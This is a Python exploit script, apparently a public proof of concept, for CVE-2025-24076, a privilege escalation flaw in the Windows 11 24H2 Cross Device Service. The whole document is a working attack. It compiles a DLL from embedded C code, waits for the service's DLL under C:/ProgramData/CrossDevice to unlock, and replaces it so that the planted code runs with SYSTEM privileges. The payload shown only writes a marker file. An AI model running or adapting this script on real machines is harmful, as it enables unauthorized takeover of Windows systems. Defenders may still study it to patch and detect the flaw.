1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
|
#!/usr/bin/env python3
# Exploit Title: Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-06
# Tested on: Windows 11 Version 24H2 for x64-based Systems (10.0.26100.3476)
# CVE: CVE-2025-24076
import os
import shutil
import time
from pathlib import Path
import subprocess
# 基于漏洞研究的目标DLL名称
DLL_NAME = "CrossDevice.Streaming.Source.dll"
TARGET_PATH = Path("C:/ProgramData/CrossDevice")
MALICIOUS_DLL = Path("malicious.dll")
BACKUP_ORIGINAL_DLL = Path("original_backup.dll")
# 恶意DLL的C源代码
MALICIOUS_C_CODE = r'''
#include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
FILE *file = fopen("C:\\poc_only_admin_can_write_to_c.txt", "w");
if (file) {
fputs("Exploit succeeded! You have SYSTEM privileges.\n", file);
fclose(file);
}
}
return TRUE;
}
'''
def build_malicious_dll():
print("[*] Building malicious DLL from C source...")
c_file = Path("malicious.c")
# 将C源代码写入文件
with open(c_file, "w") as f:
f.write(MALICIOUS_C_CODE)
# 使用gcc编译DLL
compile_cmd = [
"gcc", "-shared", "-o", str(MALICIOUS_DLL), str(c_file),
"-Wl,--subsystem,windows"
]
try:
subprocess.run(compile_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
print(f"[+] Malicious DLL built successfully: {MALICIOUS_DLL}")
# 清理C源文件
c_file.unlink()
return True
except subprocess.CalledProcessError as e:
print("[!] Failed to build malicious DLL.")
print("gcc output:", e.stderr.decode())
return False
def is_vulnerable():
if not TARGET_PATH.exists():
print("[!] Target directory not found.")
return False
dll_path = TARGET_PATH / DLL_NAME
if not dll_path.exists():
print("[!] Target DLL not found.")
return False
print("[+] System appears vulnerable, DLL found in a writable path.")
return True
def backup_original():
dll_path = TARGET_PATH / DLL_NAME
backup_path = TARGET_PATH / BACKUP_ORIGINAL_DLL
shutil.copyfile(dll_path, backup_path)
print(f"[+] Backup created at: {backup_path}")
def replace_with_malicious():
dll_path = TARGET_PATH / DLL_NAME
try:
shutil.copyfile(MALICIOUS_DLL, dll_path)
print("[+] Successfully replaced the DLL with malicious version.")
return True
except PermissionError:
print("[!] Cannot write to DLL. Make sure the process using it is stopped.")
return False
def monitor_and_replace():
dll_path = TARGET_PATH / DLL_NAME
print("[*] Monitoring DLL until it is unlocked...")
while True:
try:
with open(dll_path, 'rb+') as f:
print("[+] File is unlocked. Attempting replacement...")
time.sleep(0.5)
return replace_with_malicious()
except PermissionError:
time.sleep(0.5)
def trigger_com():
print("[*] To trigger DLL load, please open Windows Settings -> Mobile devices")
input("[*] After opening Settings, press Enter to continue...")
def main():
if not build_malicious_dll():
return
if not is_vulnerable():
return
backup_original()
trigger_com()
success = monitor_and_replace()
if success:
print("[✓] Exploit completed successfully. Check results (e.g., C:\\poc_only_admin_can_write_to_c.txt).")
else:
print("[✗] Exploit failed.")
if __name__ == "__main__":
main()
|